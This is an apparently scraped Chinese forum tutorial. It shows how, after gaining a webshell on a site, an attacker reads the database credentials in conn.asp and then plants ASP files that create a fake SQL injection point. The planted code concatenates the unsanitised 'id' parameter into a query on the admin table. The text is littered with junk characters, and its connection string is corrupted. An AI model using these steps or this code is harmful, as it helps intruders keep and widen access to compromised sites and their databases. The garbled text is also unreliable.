首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
8 \; P6 d8 }6 N f6 n- \( M& eASP/Visual Basic代码5 L9 [( S! \4 v5 M7 n
<!--#include file="xx.asp"-->
+ T$ s( t" f* i0 g<%
) Y" @6 L( z) n4 t( F, S. g7 j, }set rs=server.createobject("ADODB.recordset") ) S% Y) ^/ s k/ [" k$ {: P1 u% P
id = request("id")
+ `, U+ j+ X/ u/ O9 ustrSQL = "select * from admin where id=" & id
7 i: }/ x* T# f: |& I- Srs.open strSQL,conn,1,3
' J' _4 z# m {% s2 k1 u y/ f& ]rs.close * L) `2 ?( @7 }4 d v* @& x3 a
%>
- _0 k, d/ s* t. G: G- W把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
5 I z. _0 x! V. L/ B然后就要构造一个连接数据库的文件了,代码如下:
0 Q2 h% U$ v$ [3 [6 c1 \( m4 _ASP/Visual Basic代码
" _ E9 w3 `" N) }; f1 m<%
" z1 b1 p1 M/ [0 I' KstrSQLServerName = "000.000.000.000" '服务器名称或地址
0 y2 M0 j& {8 P }) c z: wstrSQLDBUserName = "sqlname" '数据库帐号 0 V/ h/ ?' y1 b
strSQLDBPassword = "sqlpass" '数据库密码
. Z7 y" g2 E3 Z- y; Q8 L p7 I( j9 {strSQLDBName = "sqldataname" '数据库名称
& `. X9 x$ I4 cSet conn = Server.CreateObject("ADODB.Connection")
3 I& P8 T" }6 ~4 M+ }9 KstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
) y7 w* H7 F( V7 V) ]conn.open strCon
9 V. W* L2 q" c3 E%>
, y! x9 G% x, V3 S3 M, L% ]这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功: x( @! L* \4 j/ ] s- i
|